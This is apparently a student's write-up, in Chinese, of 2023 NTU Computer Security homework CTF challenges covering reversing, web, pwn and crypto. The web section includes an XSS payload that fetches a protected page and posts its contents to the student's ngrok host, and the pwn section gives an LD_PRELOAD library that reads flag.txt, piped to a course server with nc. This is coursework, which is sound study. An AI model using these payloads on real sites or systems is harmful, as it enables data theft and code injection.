---
# System prepended metadata

title: 2023 NTU Computer Security HW0 Writeup
tags: [WriteUp, Computer Security, "National Taiwan University\_"]

---

# 2023 NTU Computer Security HW0 Writeup
:::warning
- https://hackmd.io/@Lambo0724/NTU_Computer_Security_Hw0 
- pdf的輸出好怪...可以到這個網址看比較舒服，我只有開有連結的才能Access沒有公開
:::

- Student ID: R12922054

## Easy C2(Reverse Engineering)
:::success
- **Flag:** FLAG{C2_cmd_in_http_header}
:::

#### 解題流程思路
1. 由於題目有給予我們一個執行檔，因此第一步當然就是先Disassembly。
2. 透過IDA反組譯之後，會得到以下Pseudo code。從中可以得知，此執行檔對Localhost:11187傳送Flag資訊。
![1](https://drive.google.com/u/2/uc?id=1aVRX5mHLIeoRYUJEAg9ygfarleJp5FPo&export=download)
3. 打開Terminal，透過netcat監聽，指令如下。
```
nc -l -p 11187
```
4. 再開啟另一個Terminal，並到執行檔目錄底下，執行此指令執行程式。
```
./easy-c2
```
5. 最後就會在第一個Terminal中顯示FLAG，如下。
![2](https://drive.google.com/u/2/uc?id=1YOxnFycnM0yP4i_epa6am7tu92rA253H&export=download)

## GUSP Hub(Web)
:::success
- **Flag:** FLAG{web progr4mming 101}
:::

#### 解題流程思路
1. 這題的docker建立不起來，好像node.js的版本不兼容的樣子QQ。
2. 所以呢，直接來看code，這題最主要的是，看懂app.js到底在幹嘛，理解之後剩下的就是程式能力了(沒什麼碰過的人＝我，花超多時間)。
3. 首先，先明白要怎麼從 '/' 進入到 '/add-api'註冊，直接f12按起來，到Application的地方，找到cookies，在name欄位底下輸入```authenticated```，接著在value欄位底下隨便打字(不要讓他為空就好)。
![3](https://drive.google.com/u/2/uc?id=181JbfcmIrZUcbombLwFhJwQmO7Vbp9-h&export=download)
4. 進來之後就是註冊的問題了，這邊涉及三個問題：\
1）要有實體ip 沒有的話ngrok是你的好朋友。輸入:```ngrok http 5000```
![4](https://drive.google.com/u/2/uc?id=1Uw_copkBD8U7FfZFoZalfesfzdA6VjME&export=download)
![5](https://drive.google.com/u/2/uc?id=1G3adF9uDQeSQ1u1MO7HwkQFUp8GRidun&export=download)
2）看懂```app.post('/add-api', async (req, res)``` 這裡註冊帳號的規則，並且完成後端程式(Express最後沒搞出來，我直接投靠Flask，中間有詢問ChatGPT一些語法的問題並使用，檔名:gusp.py，)。
在gusp.py目錄底下，打開另一個終端機，
輸入:```export FLASK_APP=gusp.py``` 和 ```flask run```
![6](https://drive.google.com/u/2/uc?id=1URKqDV59fNNZcl02wgThQO07ZzA6byYO&export=download)
3）寫js做XSS
```
fetch('/flag', {
    method: 'GET',
    headers: {
        'give-me-the-flag': 'yes'
    }
}).then(response => response.text()
 ).then(data => {
        fetch('https://95d9-140-112-90-38.ngrok-free.app/flag/display', {
        mode: 'no-cors',
        method: 'POST',
        headers: {
            'Content-Type': 'text/plain',
        },
        body: data
        })
});
```
:::danger
ngrok給的ip位址，每次都會不一樣，記得要修改
:::
5. 在註冊頁面url部分輸入ngrok給的網址，下面的js:輸入我上面的程式碼(網址記得一定要改！)
6. 輸入完之後會出現以下頁面:\
![7](https://drive.google.com/u/2/uc?id=1hs9FNT90iJ4U2zIvzjob-n5fVoH4b3em&export=download)
7. 不過不用擔心，按下F5(重新整理頁面)，就會拿到ID了(不過我不知道為甚麼會這樣...照理來說要一次過...還是我有什麼沒了解到QQ)！
![8](https://drive.google.com/u/2/uc?id=1ZJ1zDqzkfmx0iA7v6PAzDWLB8098AV7m&export=download)
8. 接直著複製系統給的ID，在url那邊直接導往 '/report'底下:\
1）ID: 輸入剛剛系統給的ID
2）Alias: 輸入下面終端機中，產生的Alias(綠色隨便一個都可以，這裡我挑KHCLJ)
![9](https://drive.google.com/u/2/uc?id=1RY3Aqc591u_3WgGC3DBSYmCfAaCiKcEL&export=download)
![10](https://drive.google.com/u/2/uc?id=1tCDBb9XS0h21ArHUPjp5RVJ2IsnDWCNO&export=download)
接著網頁就會呈現:
![11](https://drive.google.com/u/2/uc?id=1vcJIh1UJAc-QrIr7kWlq0-G28q3I7VQE&export=download)
9. 再看看終端機:\
![12](https://drive.google.com/u/2/uc?id=1_FczrnwCNkBhcVaDaruVIUr4_p1d_3py&export=download)
是FLAG！！！！！！！！！！！！！！！！！！！！


## Baby Crackme(Reverse Engineering)
:::success
- **Flag:** FLAG{r0ll1ng_4nd_3xtr4ct_t0_m3m0ry}
:::

#### 解題流程思路
1. 本題也是提供一個執行檔，此執行執行之後，是要我們輸入一個license，因此可以推測如果知道正確的license就可以成功拿到FLAG。\
![13](https://drive.google.com/u/2/uc?id=1pFnFxWw9RzzX3n9dRSO29eC14tklodkT&export=download)
2. 因此一樣是先透過IDA解析執行檔。反組譯過後在main function中會看到，在這裡會對輸入的license做判斷。\
![14](https://drive.google.com/u/2/uc?id=1j1PdbJO8f6QAZveU0WhBw5Kb8P1rRTt5&export=download)
3. 接著我們進到判斷的function中，s1是正確的license,a1是我們輸入的值。
![15](https://drive.google.com/u/2/uc?id=1svXdU53-70O42SQEGfBXUX-pN1fv9d37&export=download)
4. 不過看著那個for迴圈要暴力硬解，著實痛苦，還好這裡我詢問另外一位有修這門課同學<student ID: r12922146>的看法，他認為license或許就是FLAG。
5. 也因為他這個想法加上助教在題目中的提示有提到Dynamic Analysis，瞬間點醒了我，s1就是FLAG。
6. 透過gdb做動態解析。
7. 在目標目錄下打開Terminal，按照順序輸入以下指令。
```
1. gdb ./baby-crackme
2. run
3. 這邊是我們要輸入的license，不過這邊我們隨便輸入
4. info func
5. 找到function名稱是strcmp的地方（因為是在這邊判斷license的），
   複製其記憶體位置（eg.0x00005555555550c0）
6. b* 0x00005555555550c0(設定中斷點)
=======================================================================
這邊會重新再跑程式一次
7. run
8. 一樣隨便輸入
9. 因為我是用gdb-peda，所以這邊直接會顯示各個register，就可以看到在RAX跟RDI有存放FLAG的值。
   如果純粹用gdb的話可以先下：
   1）info registers  (查看每個Registers的資訊)
   2）x/s RDA或RDI的記憶體位置（解析該記憶體位置的值）

```
![16](https://drive.google.com/u/2/uc?id=1ZaaYUXt3RNt5qIVjDN2lMyvFOe2IspIf&export=download)



## Baby Hook(PWN)
:::success
- **Flag:** FLAG{B4by_Ld_Pr3L0aD_L1bR1rY_:)}
:::

#### 解題流程思路
1. 一開始我原本是想先把docker架起來，但好像架不起來會報錯，如下:
:::danger
- ./chall: /lib/x86_64-linux-gnu/libc.so.6: version \`GLIBC_2.34' not found (required by ./chall)
:::
2. 所以就直接不管他了，本題助教有給提示，要我們使用以下指令獲取該ip位址的資訊。
```
nc edu-ctf.zoolab.org 10002
```
3. 輸入上面指令後，會要求我們輸入一個object。
![17](https://drive.google.com/u/2/uc?id=1mFA1S3iMK6nfe0nK0GmjN-HYQeSzScjI&export=download)
4. 從給的檔案中猜測，該ip位址底下會執行 main.py ， main.py裡有 ```p = subprocess.Popen(f'LD_PRELOAD={tmp.name} ./chall', shell=True)```這行程式會動態載入lib，並執行chall執行檔，而chall執行檔是由chall.c編譯而來。
5. 在chall.c中，sleep()這個function看起來就是一個突破點，如果把這個function覆寫成一個讀取flag.txt的function並把結果輸出，那應該就可以解出FLAG。
6. 要怎麼讓該ip底下的sleep覆寫？其實就是我們把sleep()function的lib建好之後，轉成base64的形式，透過輸入傳到該ip位址底下，具體指令如下：
```
1. 建立1個.c檔 (eg. test.c)，內容如下：
#include <stdio.h>
void sleep(int n){
    FILE *fptr;
    char buff[255];
    fptr = fopen("./flag.txt", "r");
    fgets(buff, 255, (FILE*)fptr);
    printf("%s", buff);
    fclose(fptr);
}
2. 打開該目錄下的Terminal，輸入以下指令即可
3. gcc -c test.c -fPIC
4. gcc -shared -o libtest.so test.o
5. base64 libtest.so | tr -d '\n' > test.txt
6. cat test.txt | nc -N edu-ctf.zoolab.org 10002
```
![18](https://drive.google.com/u/2/uc?id=1zB9wbSjS3QQQfgszgw1gCtNOW7AgdvQV&export=download)

## Extreme Xorrrrr(Crypto)
:::success
- **Flag:** FLAG{xor_ThEN_><OR_1qUal_ZEr0}
:::

#### 解題流程思路
1. 觀看原始的python檔，我們可以得知，FLAG應該藏在secret中，如下。因此我們需要將一連串的運算反推回去。
:::info
hint = [secret * muls[i] % mods[i] for i in range(20)]
:::
2. 首先，先將hint、muls、mods數組做xorrrrr的反運算。
3. 得到hint、muls、mods數組的xorrrrr反運算的結果後，我們就只剩下透過mod的反運運算得出secret。
4. 首先先透過，歐幾里德延伸演算法求出muls的乘法反元素，並且等號兩邊同乘這個數字，算式就會簡化成。
:::info
number = secret % mods,   number = hint * muls^-1
:::
5. 之後，再透過中國餘數定理，就可以成功解出secret。
>第五步的程式實作我直接詢問ChatGPT，他提供我這個API -> solve_congruence，快速求出中國餘數定理的答案。
![19](https://drive.google.com/u/2/uc?id=12b312L-sAxE_FUlOcw9u3GuzuO4ifNlf&export=download)
